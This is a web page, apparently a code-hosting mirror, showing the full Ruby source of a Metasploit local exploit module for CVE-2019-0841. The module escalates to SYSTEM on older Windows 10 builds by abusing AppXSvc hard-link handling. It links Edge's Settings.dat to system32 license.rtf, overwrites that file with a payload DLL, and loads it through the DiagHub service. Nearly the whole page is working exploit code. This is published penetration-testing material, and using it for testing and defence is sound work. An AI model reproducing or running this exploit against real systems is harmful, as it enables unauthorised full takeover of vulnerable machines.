Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Exploit::EXE9include Post::File10include Post::Windows::Priv11include Post::Windows::FileInfo12include Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'AppXSvc Hard Link Privilege Escalation',19'Description' => %q{20There exists a privilege escalation vulnerability for21Windows 10 builds prior to build 17763. Due to the AppXSvc's22improper handling of hard links, a user can gain full23privileges over a SYSTEM-owned file. The user can then utilize24the new file to execute code as SYSTEM.2526This module employs a technique using the Diagnostics Hub Standard27Collector Service (DiagHub) which was discovered by James Forshaw to28load and execute a DLL as SYSTEM.29},30'License' => MSF_LICENSE,31'Author' => [32'Nabeel Ahmed', # Vulnerability discovery and PoC33'James Forshaw', # Code creating hard links and communicating with DiagHub service34'Shelby Pace' # Metasploit module35],36'References' => [37[ 'CVE', '2019-0841' ],38[ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],39[ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],40[ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],41[ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]42],43'Platform' => 'win',44'SessionTypes' => [ 'meterpreter' ],45'Targets' => [46[ 'Windows 10', { 'Platform' => 'win' } ]47],48'DisclosureDate' => '2019-04-09',49'DefaultTarget' => 050)51)52end5354def check55version = get_version_info56if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1803)57return CheckCode::Appears58elsif version.build_number >= Msf::WindowsVersion::Win10_InitialRelease59return CheckCode::Detected60end6162return CheckCode::Unknown63end6465def upload_file(file_name, file_path)66contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))67write_file(file_path, contents)68register_file_for_cleanup(file_path)69rescue StandardError70fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')71end7273def init_process74print_status('Attempting to launch Microsoft Edge minimized.')75cmd_exec('cmd.exe /c start /min microsoft-edge:', nil, 30)76end7778def mk_hard_link(src, target, link_exe)79out = cmd_exec("cmd.exe /c #{link_exe} \"#{src}\" \"#{target}\"")8081return (out && out.include?('Done'))82end8384def write_payload85print_status('Writing the payload to disk')86code = generate_payload_dll87@original_data = read_file(@rtf_path)88write_file(@rtf_path, code)89end9091def exploit92vuln_status = check93fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown9495fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?96cmd_exec('taskkill /F /IM MicrosoftEdge.exe /FI "STATUS eq RUNNING"')97dat_path = expand_path('%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat')98fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)99100if session.arch == ARCH_X86101exe_name = 'CVE-2019-0841_x86.exe'102f_name = 'diaghub_load_x86.exe'103elsif session.arch == ARCH_X64104exe_name = 'CVE-2019-0841_x64.exe'105f_name = 'diaghub_load_x64.exe'106end107link_file_name = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(6...8)}.exe")108upload_file(exe_name, link_file_name)109110@rtf_path = expand_path('%WINDIR%\\system32\\license.rtf')111fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)112print_good('Successfully created hard link')113init_process114cmd_exec('taskkill /F /IM MicrosoftEdge.exe')115116write_payload117diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")118upload_file(f_name, diaghub_path)119cmd = "\"#{diaghub_path}\" \"license.rtf\""120cmd_exec(cmd)121end122123def cleanup124folder_path = expand_path('%TEMP%\\etw')125dir_rm(folder_path)126127unless @rtf_path.nil?128write_file(@rtf_path, @original_data)129end130super131end132end133134135